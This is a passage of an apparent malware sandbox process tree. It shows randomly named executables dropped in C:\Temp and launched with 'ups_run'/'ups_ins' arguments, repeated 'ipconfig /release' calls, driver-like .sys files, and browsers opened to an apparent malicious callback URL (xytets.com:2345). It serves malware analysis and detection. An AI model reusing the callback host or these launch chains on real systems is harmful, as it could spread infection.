    - Executes dropped EXE
    PID:3864
  - - C:\Temp\i_eztrmjecwu.exe
      C:\Temp\i_eztrmjecwu.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1952
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ztrljebwto.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5700
  - - C:\Temp\ztrljebwto.exe
      C:\Temp\ztrljebwto.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1396
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4308
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1536
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ztrljebwto.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4180
  - - C:\Temp\i_ztrljebwto.exe
      C:\Temp\i_ztrljebwto.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:944
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bwtrlgeywr.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5316
  - - C:\Temp\bwtrlgeywr.exe
      C:\Temp\bwtrlgeywr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5308
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5732
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4656
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bwtrlgeywr.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5932
  - - C:\Temp\i_bwtrlgeywr.exe
      C:\Temp\i_bwtrlgeywr.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6072
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gdbvtolgdb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3860
  - - C:\Temp\gdbvtolgdb.exe
      C:\Temp\gdbvtolgdb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1908
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3848
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2452
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gdbvtolgdb.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1504
  - - C:\Temp\i_gdbvtolgdb.exe
      C:\Temp\i_gdbvtolgdb.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2508
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\yvtnlfdxvq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5768
  - - C:\Temp\yvtnlfdxvq.exe
      C:\Temp\yvtnlfdxvq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2092
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2200
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1372
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_yvtnlfdxvq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1164
  - - C:\Temp\i_yvtnlfdxvq.exe
      C:\Temp\i_yvtnlfdxvq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6044
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\usqkicaysq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3084
  - - C:\Temp\usqkicaysq.exe
      C:\Temp\usqkicaysq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:980
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:748
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2500
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_usqkicaysq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:708
  - - C:\Temp\i_usqkicaysq.exe
      C:\Temp\i_usqkicaysq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3664
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\usmkhfcxus.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1844
  - - C:\Temp\usmkhfcxus.exe
      C:\Temp\usmkhfcxus.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5304
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2660
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2868
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_usmkhfcxus.exe ups_ins
    3⤵
    PID:2988
  - - C:\Temp\i_usmkhfcxus.exe
      C:\Temp\i_usmkhfcxus.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3092
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cxupnhcaus.exe ups_run
    3⤵
    PID:3576
  - - C:\Temp\cxupnhcaus.exe
      C:\Temp\cxupnhcaus.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4244
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4508
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2628
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cxupnhcaus.exe ups_ins
    3⤵
    PID:3192
  - - C:\Temp\i_cxupnhcaus.exe
      C:\Temp\i_cxupnhcaus.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5896
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rpjhecwurm.exe ups_run
    3⤵
    PID:5748
  - - C:\Temp\rpjhecwurm.exe
      C:\Temp\rpjhecwurm.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1372
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1656
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3052
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rpjhecwurm.exe ups_ins
    3⤵
    PID:6048
  - - C:\Temp\i_rpjhecwurm.exe
      C:\Temp\i_rpjhecwurm.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5400
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\omjecwuomg.exe ups_run
    3⤵
    PID:3124
  - - C:\Temp\omjecwuomg.exe
      C:\Temp\omjecwuomg.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3704
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2664
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5440
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_omjecwuomg.exe ups_ins
    3⤵
    PID:1044
  - - C:\Temp\i_omjecwuomg.exe
      C:\Temp\i_omjecwuomg.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1224
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ljgbzojgby.exe ups_run
    3⤵
    PID:5312
  - - C:\Temp\ljgbzojgby.exe
      C:\Temp\ljgbzojgby.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4864
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1124
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4876
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ljgbzojgby.exe ups_ins
    3⤵
    PID:6080
  - - C:\Temp\i_ljgbzojgby.exe
      C:\Temp\i_ljgbzojgby.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:704
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\oigbywqolj.exe ups_run
    3⤵
    PID:2108
  - - C:\Temp\oigbywqolj.exe
      C:\Temp\oigbywqolj.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4948
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5880
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3076
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_oigbywqolj.exe ups_ins
    3⤵
    PID:1828
  - - C:\Temp\i_oigbywqolj.exe
      C:\Temp\i_oigbywqolj.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3844
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ljdyvtolgd.exe ups_run
    3⤵
    PID:3760
  - - C:\Temp\ljdyvtolgd.exe
      C:\Temp\ljdyvtolgd.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2364
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4264
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3708
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ljdyvtolgd.exe ups_ins
    3⤵
    PID:4104
  - - C:\Temp\i_ljdyvtolgd.exe
      C:\Temp\i_ljdyvtolgd.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2500
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nifdavsnki.exe ups_run
    3⤵
    PID:5072
  - - C:\Temp\nifdavsnki.exe
      C:\Temp\nifdavsnki.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3340
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2000
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5056
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nifdavsnki.exe ups_ins
    3⤵
    PID:2944
  - - C:\Temp\i_nifdavsnki.exe
      C:\Temp\i_nifdavsnki.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3272
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nifaxsqkif.exe ups_run
    3⤵
    PID:3232
  - - C:\Temp\nifaxsqkif.exe
      C:\Temp\nifaxsqkif.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5136
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2840
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5204
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nifaxsqkif.exe ups_ins
    3⤵
    PID:3008
  - - C:\Temp\i_nifaxsqkif.exe
      C:\Temp\i_nifaxsqkif.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5984
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5860
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x148,0x14c,0x2f8,0x144,0x300,0x7ff90119c188,0x7ff90119c194,0x7ff90119c1a0
      4⤵
      PID:6036
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1708,i,15273257227703353184,7642238275246433107,262144 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=2936 /prefetch:2
      4⤵
      PID:4636
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1912,i,13881707952285626728,13154497748762338869,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=3020 /prefetch:11
      4⤵
      System Time Discovery
      PID:4540
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2336,i,14113012327843623540,13524502622892977788,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=3252 /prefetch:13
      4⤵
      PID:3012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3604,i,16515975928154998157,17055329182172841975,2097152 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:1
      4⤵
      PID:5924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3584,i,7686229337047931661,2954630134855268107,2097152 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:1
      4⤵
      PID:4524
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4308,i,4561803119771661647,7834743349831115011,2097152 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:9
      4⤵
      PID:3328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4296,i,13417508578312990879,4083471032329364905,2097152 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=4316 /prefetch:1
      4⤵
      PID:1116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3884,i,14691585895073261724,14913790078303885606,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=3808 /prefetch:14
      4⤵
      PID:6104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5356,i,15066526995487761775,14959150331373246871,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:14
      4⤵
      PID:1836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5360,i,16429277974899455848,9180037632088031701,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=5388 /prefetch:14
      4⤵
      PID:2660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5884,i,689573164431174493,18341090723035787169,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=5908 /prefetch:14
      4⤵
      PID:2792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5884,i,689573164431174493,18341090723035787169,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=5908 /prefetch:14
      4⤵
      PID:4080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6272,i,18114722162795874762,15864355410847589868,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:14
      4⤵
      PID:5072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6664,i,7574584467426265911,12847645254730453336,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:14
      4⤵
      PID:3092
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4912,i,8509780571297345592,8285309451539000851,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=4888 /prefetch:14
      4⤵
      PID:4632
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4300,i,11669264421054714953,11852356597885134819,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=756 /prefetch:14
      4⤵
      PID:1928
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4876,i,6851316792997962609,10998723890009601506,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=4868 /prefetch:14
      4⤵
      PID:3616
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5712,i,12430468369200972337,15501388368977891236,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:14
      4⤵
      PID:4424
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6188,i,1082185837041805918,4342630545030262704,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=924 /prefetch:14
      4⤵
      PID:5500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=920,i,5143205832064037279,12821917799827622324,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=6764 /prefetch:14
      4⤵
      PID:5396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6792,i,3786138049858878440,224240631101120002,262144 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=924 /prefetch:10
      4⤵
      PID:1648
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5400,i,7476375175904345864,3965146737754687159,524288 --field-trial-handle=2940,i,12994681529788885056,11199707208917433694,262144 --variations-seed-version --mojo-platform-channel-handle=5324 /prefetch:14
      4⤵
      PID:4472

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3020

C:\Temp\vtnlfdavtqlidavs.sys
C:\Temp\vtnlfdavtqlidavs.sys
1⤵
- Executes dropped EXE
PID:616

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5380

C:\Temp\dxvpnifaxs.sys
C:\Temp\dxvpnifaxs.sys
1⤵
- Executes dropped EXE
PID:2352

C:\Temp\spkicausmk.sys
C:\Temp\spkicausmk.sys
1⤵
- Executes dropped EXE
PID:4500

C:\Temp\ecxupnhfzx.sys
C:\Temp\ecxupnhfzx.sys
1⤵
- Executes dropped EXE
PID:4160

C:\Temp\ecwurpjhbz.sys
C:\Temp\ecwurpjhbz.sys
1⤵
- Executes dropped EXE
PID:3740

C:\Temp\ebztrmjecw.sys
C:\Temp\ebztrmjecw.sys
1⤵
- Executes dropped EXE
PID:2216

C:\Temp\bywrojgbzt.sys
C:\Temp\bywrojgbzt.sys
1⤵
- Executes dropped EXE
PID:2916

C:\Temp\jdbvtolgdy.sys
C:\Temp\jdbvtolgdy.sys
1⤵
- Executes dropped EXE
PID:5656

C:\Temp\gaysqlidav.sys
C:\Temp\gaysqlidav.sys
1⤵
- Executes dropped EXE
PID:3880

C:\Temp\xvpnifaysq.sys
C:\Temp\xvpnifaysq.sys
1⤵
- Executes dropped EXE
PID:932

C:\Temp\fdxvpnkfca.sys
C:\Temp\fdxvpnkfca.sys
1⤵
- Executes dropped EXE
PID:5072

C:\Temp\iczurpkhca.sys
C:\Temp\iczurpkhca.sys
1⤵
PID:6080

C:\Temp\zurmkecwuo.sys
C:\Temp\zurmkecwuo.sys
1⤵
PID:5880

C:\Temp\tromcwuomj.sys
C:\Temp\tromcwuomj.sys
1⤵
PID:3464

